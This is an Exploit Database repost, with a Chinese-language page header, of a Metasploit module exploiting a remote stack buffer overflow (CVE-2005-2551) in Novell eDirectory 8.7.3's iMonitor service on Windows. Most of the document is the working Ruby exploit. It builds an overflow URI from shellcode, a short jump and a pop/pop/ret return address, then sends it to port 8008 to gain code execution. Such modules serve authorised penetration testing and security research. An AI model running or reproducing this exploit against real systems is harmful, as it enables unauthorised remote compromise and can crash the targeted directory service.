eDirectory 8.7.3 – iMonitor Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-07-13
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16769/

• ##
  # $Id: edirectory_imonitor.rb 9812 2010-07-13 22:11:40Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in eDirectory 8.7.3
  				iMonitor service. This vulnerability was discovered by Peter
  				Winter-Smith of NGSSoftware.
  
  				NOTE: repeated exploitation attempts may cause eDirectory to crash. It does
  				not restart automatically in a default installation.
  			},
  			'Author' => [ 'anonymous', 'Matt Olney <scacynwrig@yahoo.com>' ],
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 9812 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-2551'],
  					[ 'OSVDB', '18703'],
  					[ 'BID', '14548'],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 4150,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
  				],
  			'DisclosureDate' => 'Aug 11 2005',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(8008)
  			], self.class)
  	end
  
  	def exploit
  		c = connect
  
  		# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
  		uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
  		uri << "\xe9\xbd\xef\xff\xff"
  		uri << "B" * 0xD0
  
  		res = c.send_request(c.request_raw({ 'uri' => uri }))
  		select(nil,nil,nil,4)
  
  		handler
  		disconnect
  	end
  
  end